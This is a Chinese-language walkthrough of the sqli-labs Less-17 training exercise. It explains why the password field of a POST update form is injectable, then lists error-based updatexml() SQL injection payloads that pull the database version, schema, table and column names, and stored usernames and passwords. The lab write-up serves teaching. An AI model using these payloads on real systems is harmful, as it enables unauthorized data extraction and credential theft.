Less-17 POST -Update Query -Error Based -String
0x01.查看代码
与往常一样随便输入几组测试一下
uname=1’&passwd=1
uname=1”&passwd=1
uname=1&passwd=1’
uname=1&passwd=1”
都返回错误页面
根据这关提示,Mysql语句应该涉及到update,查看一下源码
接收到用户提交的username和password后,首先根据uname查询数据库的username和password,若uname存在则用passwd替换password,若不存在则显示slap1.jpg。
输入正确的用户名看看:username:admin Password:1‘
有报错信息,存在注入点
0x02.涉及的几个PHP函数
substr()函数
get_magic_quotes_gpc()函数
get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。
当magic_quotes_gpc打开时,所有的’(单引号)、"(双引号)、(反斜杠)和NULL(空字符)会自动转为含有反斜杠的溢出字符。
addslashes()函数
stripslashes()函数
ctype_digit()函数
ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE。
mysql_real_escape_string()函数
intval()函数
成功时返回var的integer值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。
0x03.分析代码
1.如果uname非空,截取它的前15个字符。
2. 如果php环境变量magic_quotes_gpc打开,删除由 addslashes() 函数添加的反斜杠。
3. ctype_digit()判断是不是数字,是数字就返回true,否则返回false,mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
对于uname的过滤非常严谨,所以我们只能在passwd这里注入
0x04.构造payload
updatexml()函数
UpdateXML(xml_target, xpath_expr, new_xml)
第一个参数是目标是针对于xml文档
第二参数是xpath的表达,这里可以看下xpath教程: http://www.w3school.com.cn/xpath/
第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
其中’//b’的斜杠表示不管b节点在哪一层都替换掉,而’/b’则是指在根目录下替换,此处xml_target的根目录节点是a。
0x05.注入获取数据
获取版本号
uname=admin&passwd=1’and(updatexml(1,concat(0x5c,version(),0x5c),1))#&submit=Submit
获取数据库名
uname=admin&passwd=1’ or updatexml(1,concat(’#’,(database())),0)#&submit=Submit
获取表名
uname=admin&passwd=1’ or updatexml(1,concat(’#’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),0)#&submit=Submit
获取字段名
uname=admin&passwd=1’ or updatexml(1,concat(’#’,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),0)#&submit=Submit
获取字段值
uname=admin&passwd=’ or updatexml(1,concat(’#’,(select concat(id,’#’,username,’#’,password) from users limit 0,1)),0)
通过修改limit值来获得其他字段
(看了一些大佬写的相关文章,根据自己的思路整理了一下,侵删)